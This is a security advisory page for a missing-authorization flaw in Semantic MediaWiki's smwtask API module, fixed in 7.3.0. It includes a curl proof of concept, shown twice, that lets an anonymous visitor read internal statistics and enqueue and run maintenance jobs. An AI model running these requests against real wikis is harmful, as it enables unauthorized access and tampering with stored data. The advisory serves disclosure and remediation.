GHSA-jr78-w6w5-m8f8: Mediawiki/semantic media wiki Semantic MediaWiki'a Missing Authorization Vulnerability

HIGH
CVSS 7.3
CWE-862
Published
Advisory Summary

GHSA-jr78-w6w5-m8f8 is a HIGH (CVSS 7.3) semantic mediawiki'a missing authorization vulnerability (CWE-862: Missing Authorization) affecting Mediawiki/semantic media wiki libraries in the Packagist ecosystem. The issue involves semantic mediawiki'a missing authorization in the smwtask api module allows unauthenticated access to admin-only maintenance tasks. Remediation is available by upgrading affected packages to version 7.3.0.

GHSA-jr78-w6w5-m8f8 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-jr78-w6w5-m8f8
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-862: Missing Authorization
Affected Product Mediawiki/semantic media wiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix GHSA-jr78-w6w5-m8f8

To remediate this vulnerability, upgrade all affected Mediawiki/semantic media wiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mediawiki/semantic-media-wiki fixed: 7.3.0
Upgrade mediawiki/semantic-media-wiki to 7.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mediawiki/semantic-media-wiki

How to Check if You Are Affected

To determine whether your application is affected by GHSA-jr78-w6w5-m8f8, inspect your project dependencies for Mediawiki/semantic media wiki:

inspect dependencies for mediawiki/semantic-media-wiki

Analyze the terminal output to locate any version of Mediawiki/semantic media wiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Mediawiki/semantic media wiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `api.php?action=smwtask` API module performs no authorization check. The equivalent maintenance interface in the web UI (`Special:SMWAdmin`) requires the `smw-admin` right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only. ### Details `SMW\MediaWiki\Api\Task::execute()` (`src/MediaWiki/Api/Task.php`) reads the request parameters, resolves a task through `TaskFactory`, and runs it. It contains no permission check — no `smw-admin`, no `checkUserRightsAny()`, no per-task right. The only gates on the module are: - `needsToken( 'csrf' )` — this is **not** authorization. MediaWiki issues anonymous users a fixed, public CSRF token (`+\`), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request. - `mustBePosted()` / `isWriteMode()` — do not gate on group membership. By contrast, `Special:SMWAdmin` restricts access via `parent::__construct( 'SMWAdmin', 'smw-admin' )` and raises `PermissionsError` when the `smw-admin` right is absent. The API path bypasses that restriction entirely. Tasks reachable anonymously through the module include: - `table-statistics`, `duplicate-lookup` — return internal store statistics and enumerate the internal object-ID space (intended to be behind `Special:SMWAdmin` → Supplementary functions). - `insert-job` — enqueues any Semantic MediaWiki job type (including `smw.fulltextSearchTableRebuild`, `smw.propertyStatisticsRebuild`, `smw.entityIdDisposer`) for an arbitrary title. - `update`, `check-query`, `run-joblist` — run update jobs and `#ask` queries synchronously within the request; `run-joblist` pops and executes queued jobs inline. Because the read tasks disclose the internal object-ID space and `insert-job` can enqueue `smw.entityIdDisposer` with a specific `id` parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data. ### Proof of concept On a default installation, as an unauthenticated visitor: ``` # 1. Obtain the anonymous CSRF token (the fixed public value "+\") curl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json' # -> {"query":{"tokens":{"csrftoken":"+\\"}}} # 2. Read internal database statistics — HTTP 200 with the data curl -s -H 'Content-Type: application/x-www-form-urlencoded' \ --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \ 'https://HOST/api.php' # -> {"task":{"list":{"smw_object_ids":{"total_row_count":49,"last_id":516,... # 3. Enqueue a maintenance job (state-changing) curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \ --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \ --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php' # -> {"task":{"done":""}} (job now present in the queue) # 4. Execute queued jobs synchronously in the anonymous request curl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \ --data-urlencode 'params={"subject":"Main_Page#0##","jobs":{"smw.fulltextSearchTableRebuild":1}}' \ --data-urlencode 'token=+\' --data-urlencode 'format=json' 'https://HOST/api.php' # -> {"task":{"done":"","log":{"smw.fulltextSearchTableRebuild":["Main_Page"]}}} ``` Reproduced on `master` against a default install, with the requester confirmed anonymous (`action=query&meta=userinfo` returned `{"id":0,"anon":""}`). ### Impact An unauthenticated attacker can: - Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space. - Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, `#ask` queries, and queued jobs, degrading wiki performance. - Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data. Practical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost. ### Affected versions All releases that ship the `smwtask` API module (introduced in 3.x) up to and including the current release. ### Mitigation Upgrading to 7.3.0+ or apply a local patch in `localSettings.php` to disable the endpoint if you can't update: ```php $wgExtensionFunctions[] = static function () { unset( $GLOBALS['wgAPIModules']['smwtask'] ); }; ```

GHSA-jr78-w6w5-m8f8 Affected Mediawiki/semantic media wiki Versions

1 component(s)
Fixed Versions:
7.3.0
Product / Package Ecosystem Affected Versions Fixed Version
mediawiki/semantic-media-wiki
Packagist
≥ 3.0.0
< 7.3.0
7.3.0

References

Frequently Asked Questions

What is GHSA-jr78-w6w5-m8f8?
GHSA-jr78-w6w5-m8f8 is a security vulnerability in Mediawiki/semantic media wiki involving Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks under CWE-862: Missing Authorization.
Which Mediawiki/semantic media wiki versions are affected?
Affected versions include releases prior to 7.3.0 across affected packages: mediawiki/semantic-media-wiki.
What version fixes GHSA-jr78-w6w5-m8f8?
Upgrading to 7.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mediawiki/semantic-media-wiki affected?
Yes, mediawiki/semantic-media-wiki is affected in releases prior to 7.3.0. Upgrade your dependency to 7.3.0 or later.
What is the CVSS score of GHSA-jr78-w6w5-m8f8?
GHSA-jr78-w6w5-m8f8 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L.
What CWE is associated with GHSA-jr78-w6w5-m8f8?
GHSA-jr78-w6w5-m8f8 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for GHSA-jr78-w6w5-m8f8?
Run the dependency tree command: 'inspect dependencies for mediawiki/semantic-media-wiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jr78-w6w5-m8f8",
  "modified" : "2026-09-18T16:59:31Z",
  "published" : "2026-09-18T16:59:31Z",
  "aliases" : [ ],
  "summary" : "Semantic MediaWiki'a missing authorization in the smwtask API module allows unauthenticated access to admin-only maintenance tasks",
  "details" : "### Summary\n\nThe `api.php?action=smwtask` API module performs no authorization check. The equivalent maintenance interface in the web UI (`Special:SMWAdmin`) requires the `smw-admin` right, but the API module that backs several of the same operations enforces nothing. An unauthenticated visitor can therefore retrieve internal Semantic MediaWiki database statistics and reach state-changing maintenance operations that are intended to be administrator-only.\n\n### Details\n\n`SMW\\MediaWiki\\Api\\Task::execute()` (`src/MediaWiki/Api/Task.php`) reads the request parameters, resolves a task through `TaskFactory`, and runs it. It contains no permission check — no `smw-admin`, no `checkUserRightsAny()`, no per-task right.\n\nThe only gates on the module are:\n\n- `needsToken( 'csrf' )` — this is **not** authorization. MediaWiki issues anonymous users a fixed, public CSRF token (`+\\`), so any unauthenticated caller satisfies the token check. It defends logged-in users against CSRF; it does nothing against a direct anonymous request.\n- `mustBePosted()` / `isWriteMode()` — do not gate on group membership.\n\nBy contrast, `Special:SMWAdmin` restricts access via `parent::__construct( 'SMWAdmin', 'smw-admin' )` and raises `PermissionsError` when the `smw-admin` right is absent. The API path bypasses that restriction entirely.\n\nTasks reachable anonymously through the module include:\n\n- `table-statistics`, `duplicate-lookup` — return internal store statistics and enumerate the internal object-ID space (intended to be behind `Special:SMWAdmin` → Supplementary functions).\n- `insert-job` — enqueues any Semantic MediaWiki job type (including `smw.fulltextSearchTableRebuild`, `smw.propertyStatisticsRebuild`, `smw.entityIdDisposer`) for an arbitrary title.\n- `update`, `check-query`, `run-joblist` — run update jobs and `#ask` queries synchronously within the request; `run-joblist` pops and executes queued jobs inline.\n\nBecause the read tasks disclose the internal object-ID space and `insert-job` can enqueue `smw.entityIdDisposer` with a specific `id` parameter, the exposure extends beyond information disclosure and resource consumption to targeted modification of stored semantic data.\n\n### Proof of concept\n\nOn a default installation, as an unauthenticated visitor:\n\n```\n# 1. Obtain the anonymous CSRF token (the fixed public value \"+\\\")\ncurl -s 'https://HOST/api.php?action=query&meta=tokens&type=csrf&format=json'\n#   -> {\"query\":{\"tokens\":{\"csrftoken\":\"+\\\\\"}}}\n\n# 2. Read internal database statistics — HTTP 200 with the data\ncurl -s -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \\\n  'https://HOST/api.php'\n#   -> {\"task\":{\"list\":{\"smw_object_ids\":{\"total_row_count\":49,\"last_id\":516,...\n\n# 3. Enqueue a maintenance job (state-changing)\ncurl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=insert-job' \\\n  --data-urlencode 'params={\"subject\":\"Main_Page#0##\",\"job\":\"smw.fulltextSearchTableRebuild\",\"parameters\":{\"mode\":\"full\"}}' \\\n  --data-urlencode 'token=+\\' --data-urlencode 'format=json' 'https://HOST/api.php'\n#   -> {\"task\":{\"done\":\"\"}}   (job now present in the queue)\n\n# 4. Execute queued jobs synchronously in the anonymous request\ncurl -s --data-urlencode 'action=smwtask' --data-urlencode 'task=run-joblist' \\\n  --data-urlencode 'params={\"subject\":\"Main_Page#0##\",\"jobs\":{\"smw.fulltextSearchTableRebuild\":1}}' \\\n  --data-urlencode 'token=+\\' --data-urlencode 'format=json' 'https://HOST/api.php'\n#   -> {\"task\":{\"done\":\"\",\"log\":{\"smw.fulltextSearchTableRebuild\":[\"Main_Page\"]}}}\n```\n\nReproduced on `master` against a default install, with the requester confirmed anonymous (`action=query&meta=userinfo` returned `{\"id\":0,\"anon\":\"\"}`).\n\n### Impact\n\nAn unauthenticated attacker can:\n\n- Retrieve internal Semantic MediaWiki database statistics — row counts, the last/highest internal object ID, per-namespace breakdowns, and blob term statistics — and enumerate the internal object-ID space.\n- Enqueue arbitrary Semantic MediaWiki maintenance jobs and force synchronous execution of update jobs, `#ask` queries, and queued jobs, degrading wiki performance.\n- Reach entity-disposal operations against enumerated object IDs, affecting the integrity of stored semantic data.\n\nPractical severity depends on deployment: the disclosed statistics are more sensitive on a populated wiki, and the performance and integrity impact scales with store size and job cost.\n\n### Affected versions\n\nAll releases that ship the `smwtask` API module (introduced in 3.x) up to and including the current release.\n\n### Mitigation\n\nUpgrading to 7.3.0+ or apply a local patch in `localSettings.php` to disable the endpoint if you can't update:\n```php\n$wgExtensionFunctions[] = static function () {\n      unset( $GLOBALS['wgAPIModules']['smwtask'] );\n};\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "mediawiki/semantic-media-wiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "7.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.2.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-jr78-w6w5-m8f8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SemanticMediaWiki/SemanticMediaWiki"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-18T16:59:31Z",
    "nvd_published_at" : null
  }
}